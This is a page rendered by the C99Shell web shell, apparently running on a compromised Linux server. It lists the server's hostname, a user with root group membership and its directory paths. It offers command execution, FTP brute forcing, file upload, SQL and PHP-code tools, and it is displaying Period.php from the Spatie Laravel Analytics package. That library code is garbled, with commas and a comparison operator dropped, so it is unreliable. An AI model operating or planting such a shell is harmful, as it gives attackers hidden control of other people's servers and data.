!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/laravel-analytics/src/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Period.php (1.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Analytics;

use 
Carbon\Carbon;
use 
DateTimeInterface;
use 
Google\Analytics\Data\V1beta\DateRange;
use 
Illuminate\Support\Traits\Macroable;
use 
Spatie\Analytics\Exceptions\InvalidPeriod;

class 
Period
{
    use 
Macroable;

    public 
DateTimeInterface $startDate;

    public 
DateTimeInterface $endDate;

    public static function 
create(DateTimeInterface $startDateDateTimeInterface $endDate): self
    
{
        return new static(
$startDate$endDate);
    }

    public static function 
days(int $numberOfDays): static
    {
        
$endDate Carbon::today();

        
$startDate Carbon::today()->subDays($numberOfDays)->startOfDay();

        return new static(
$startDate$endDate);
    }

    public static function 
months(int $numberOfMonths): static
    {
        
$endDate Carbon::today();

        
$startDate Carbon::today()->subMonths($numberOfMonths)->startOfDay();

        return new static(
$startDate$endDate);
    }

    public static function 
years(int $numberOfYears): static
    {
        
$endDate Carbon::today();

        
$startDate Carbon::today()->subYears($numberOfYears)->startOfDay();

        return new static(
$startDate$endDate);
    }

    public function 
__construct(DateTimeInterface $startDateDateTimeInterface $endDate)
    {
        if (
$startDate $endDate) {
            throw 
InvalidPeriod::startDateCannotBeAfterEndDate($startDate$endDate);
        }

        
$this->startDate $startDate;

        
$this->endDate $endDate;
    }

    public function 
toDateRange(): DateRange
    
{
        return (new 
DateRange())
            ->
setStartDate($this->startDate->format('Y-m-d'))
            ->
setEndDate($this->endDate->format('Y-m-d'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--